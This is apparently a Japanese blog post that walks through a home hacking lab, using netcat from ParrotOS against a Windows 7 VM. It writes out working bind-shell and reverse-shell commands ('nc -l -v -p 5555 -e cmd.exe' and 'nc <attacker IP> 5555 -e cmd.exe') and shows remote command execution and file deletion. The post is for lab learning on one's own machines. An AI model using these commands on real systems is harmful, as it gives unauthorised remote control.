ParrotOS5.2でハッキングラボをつくってみる 4 Windows7をハッキングする編2(netcatを使う）

# はじめに
この記事は、『ハッキングラボのつくりかた』(IPUSIRON著)に基づいて、ペネトレーション用OSであるParrotOSでも同書通りにハッキングできるかどうかを検証するために書かれている。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# Netcatを使う
Netcatを使って、ParrotOSとやられOSのWindows7の通信を行う。
Netcatを使って、バックドアの設置もしてみた。


## NetcatとSysinternalの導入
まずは、NetcatのWindows版をダウンロード。netcatは、Linuxのツールであり、Windowsで利用する際はWindows用をダウンロードしないといけない。

以下、ダウンロード先 (外部リンク)
[netcatダウンロード先](https://joncraton.org/blog/46/netcat-for-windows/)
また、Windows7の調査・トラブルシューティングツールであるSysinternals Suiteも利用する。これにより、Windowsへの知識・理解が深まる。このツールは、Windows10をハッキングするときも利用する。今回は使用しないが、今後のMetasploitによる攻撃を解析するときに使用。
[Sysinternals Suiteダウンロード先](https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysinternals-suite)

ゲストOSのWindows7では、インターネットにつながらないために（ホストオンリーネットワーク）、ホストOSでダウンロードして、VirtualBoxの共有フォルダやドラッグ＆ドロップ機能でWindows7内にファイルをコピーすること。自分は、Windows7のデスクトップにnetcatを設置した。

## Netcatを使った通信方法
コマンドプロンプトを立ち上げる。
netcatが展開されたフォルダに移動して、
ポート5555で待ち状態にする。
```
//cdでフォルダ移動
C:\user\IEUser>cd Desktop\nc
//Netcatを実行.ポート5555で待ち状態にする
C:\User\IEUser>nc -l -v -p 5555
```
フォルダ名がncとなっている。同書では別のフォルダ名となっているが、簡易のために名前を変更した。また、同書の記述`nc.exe`のように、拡張子をつけなくとも動作した。オプションの付け方は、`nc -lvp`としても良い。

WindowsFirewallがアラート出したら、すべての項目にチェックを入れて「Allow access」をクリック。
![nc_firewall_alert.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/ecbb8646-96a6-6b7c-4b95-6788be8b9c90.png)

このようにポート5555で待ち受ける状態となる。
![VirtualBox_IE10 - Win7_08_04_2022_15_36_38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/507c91d9-9aa8-d489-e91e-c6119dfeb37f.png)

- Netcatの文法
 どこかに接続する場合
`nc [-options] hostname port[s] [ports] ...`
パケットを待ち受ける場合（サーバーの状態）
`nc -l -p port [options] [hostname] [port]`
**待受の際には、必ず-l (小文字のL) と -pオプション、ポート番号が必要となる。**


- Netcatのオプション
（ヘルプメニューを一部日本語訳している。翻訳に間違いがある可能性がある。）

| オプション | 解説 |
| :---------: | :----- |
| -d | コンソールから離れる。バックグラウンドモード |
| -e prog | インバウンドデータからプログラムを実行（危険！) |
| -g gateway | source-routing hop point[s], up to 8 |
| -G num | source-routing pointer: 4,8,12 |
| -h | ヘルプメニュー |
| -i secs | ポートスキャンとその送信のためにsecsで指定した秒数インターバルを設ける |
| -l | インバウンドの接続を待受（Listen)モード |
| -L | listern harder, re-listen on socket close |
| -n | 数値のみのIPアドレス、DNSは利用不可 |
| -o file | トラフィックのヘックスダンプファイルの出力 |
| -p port | ポート番号 |
| -r | ランダムな接続元ポート、接続先ポート |
| -s addr | 接続元のアドレス |
| -t | telnetネゴシエーションに返答 |
| -u | UDPモード |
| -v | 詳細を表示 |
| -w secs | secsで接続をタイムアウトする秒数を指定 |
| -z | zero-I/O モード(接続だけ行って、パケットは送信しない) |

今回は、接続を待ち受けるために　-l 、ポート番号を指定するために -p、詳細を表示ために -vオプションを指定した。

新規に別のコマンドプロンプトを立ち上げ、
```
C:\Users\IEUser\Desktop\nc>netstat -an
```
を実行すると、待受状態(LISTENING)になっていることが確認できた。

**netstatコマンドのオプション**
- -a　すべての接続を表示
- -n　名前解決しない、サービス名解決しない
![VirtualBox_IE10 - Win7_08_04_2022_16_31_50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/9c7ac2ef-4e3a-9383-c76a-e57e8d558bb2.png)


**ParrotOSを起動して、端末を立ち上げてコマンドを実行**
ParrotOSの端末で、以下のコマンドを実行する。KaliLinuxと同じく、ParrotOSでもnetcatが標準装備されている。
```
$ nc Windows7のローカルIPアドレス 5555
```

Windows7に戻ると、次のようにコマンドプロンプトが変化している。
![VirtualBox_IE10 - Win7_08_04_2022_16_44_22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/b9bca882-59f4-9889-5446-d5a36ce061f6.png)
![VirtualBox_IE10 - Win7_08_04_2022_16_44_32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/bb84ffb5-fb8b-26b6-5875-2f09d02f5277.png)

kaliLinuxに戻って、適当な文字列を入力すると、Windows7のnetcatのコマンドプロンプトに反映されている。また、Windows7のNetcatに適当な文字列を入力しても、KaliLinuxの端末に反映されている。相互に文字が反映される。
Netcatは単なるテキストデータが送受信できるだけではなく、他のデータも送受信可能である。これを悪用することで、Windows7上で悪意のあるコマンドを実行することが可能となる。
接続が確認できたら、ParrotOS側でCtrl+Cとタイプして、necatコマンドを終了する。

:::note
Netcatの通信は暗号化されない
:::

## Netcatを使ったバインドシェルでの攻撃
ParrotOSからWindows7を操作できることがわかった。
これにより、Windows7上で、バインドシェル（攻撃端末からターゲット端末に接続するタイプのシェル）を使った攻撃ができることがわかる。
 1. Windows側での設定
 netcatの`-e exec`オプションを使うことによって、インバウンドで入ってきたデータ（標準入出力などテキストデータ含め）が`exec`プログラムにリダイレクトされて実行できることになる。
つまり、クライアント（ここでは、ParrotOS）からサーバー（ここでは、Windows7）を遠隔操作できることになる。なお、Netcatのヘルプ`nc -h`では "inbound program to exec [dangerous!]" と注意されているとおりである。
次のコマンドをWindows7で実行してバインドシェルが実行できるようにする。
```
C:\Users\IEUser\Desktop\nc>nc -l -v -p 5555 -e cmd.exe
　　　//先ほどの nc -l -v -p 5555に、オプション-eとWindowsのシェルであるcmd.exeを加える
```
  2 .  ParrotOS側での設定
次のコマンドを実行
```
$ nc Windows7のローカルIPアドレス 5555
```

ParrotOS上の端末で、Windows7を遠隔操作できた。
`ipconfig`や`dir`といったコマンドが実行可能。`rm ファイル名`で、ファイルを削除できた。ただし、ファイル名に日本語含まれていると、"No such file or directory"とエラーが出て削除不能。
バインドシェルで実行できるコマンドの一覧は、`help`コマンドから確認できる。


## Netcatを使ったリバースシェルでの攻撃
リバースシェルは、ターゲット端末から攻撃端末に対して接続するシェル。バインドシェルとは逆の接続となる。
リバースシェルを使用する理由を同書P.235より引用すると、
>通信路の途中にファイアウォールやルーターなどが存在すると、ブロックされてしまうことがあります。インバウンド（外部から内部へのアクセス）を制限しているためです。遠隔操作を実現するバックドアをせっかく設置できても、アクセスできないのでは意味がありません。

とある。
また、同じページの注釈[8]に
>ルーターがポートフォワーディングやDMZの設定をしていなければ、外部から内部へのターゲット端末にアクセスさえ出来ません。

ともある。


### リバースシェルでの攻撃を実行
リバースシェルでの攻撃。
1, KaliLinuxのターミナルでつぎのコマンドを実行。Windows7からのアクセスを待ち受ける状態となる。 
"-lvp"は," -l -v -p"オプションと同等。
```
$ nc -lvp 5555
```

2, Windows7のコマンドプロンプトで次のコマンドを実行

```
C:\Users\IEUser\Desktop\nc > nc ParrotOSのローカルIPアドレス 5555 -e cmd.exe 
```
KaliLinuxの端末に戻ると、端末上でWindowsのコマンドプロンプトが実行可能になる。
バインドシェルと同様に、`ipconfig`や`dir`といったコマンドが実行可能。`rm ファイル名`で、ファイルを削除できた。ただし、ファイル名が２バイト文字だと、"No such file or directory"とエラーが出て削除不能。シェルで実行できるコマンドの一覧は、`help`コマンドから確認できる。個人的な感覚だが、リバースシェルのほうが動作が軽いように思う。

## 終わりに
攻撃を仕掛ける側のOSが、KaliLinuxからParrotOSに変わっただけで、大きな変化はなかった。


- 参考にしたもの
『ハッキング・ラボのつくりかた』(IPUSIRON著)

https://qiita.com/kagirohi/items/720480de47b6c76422f9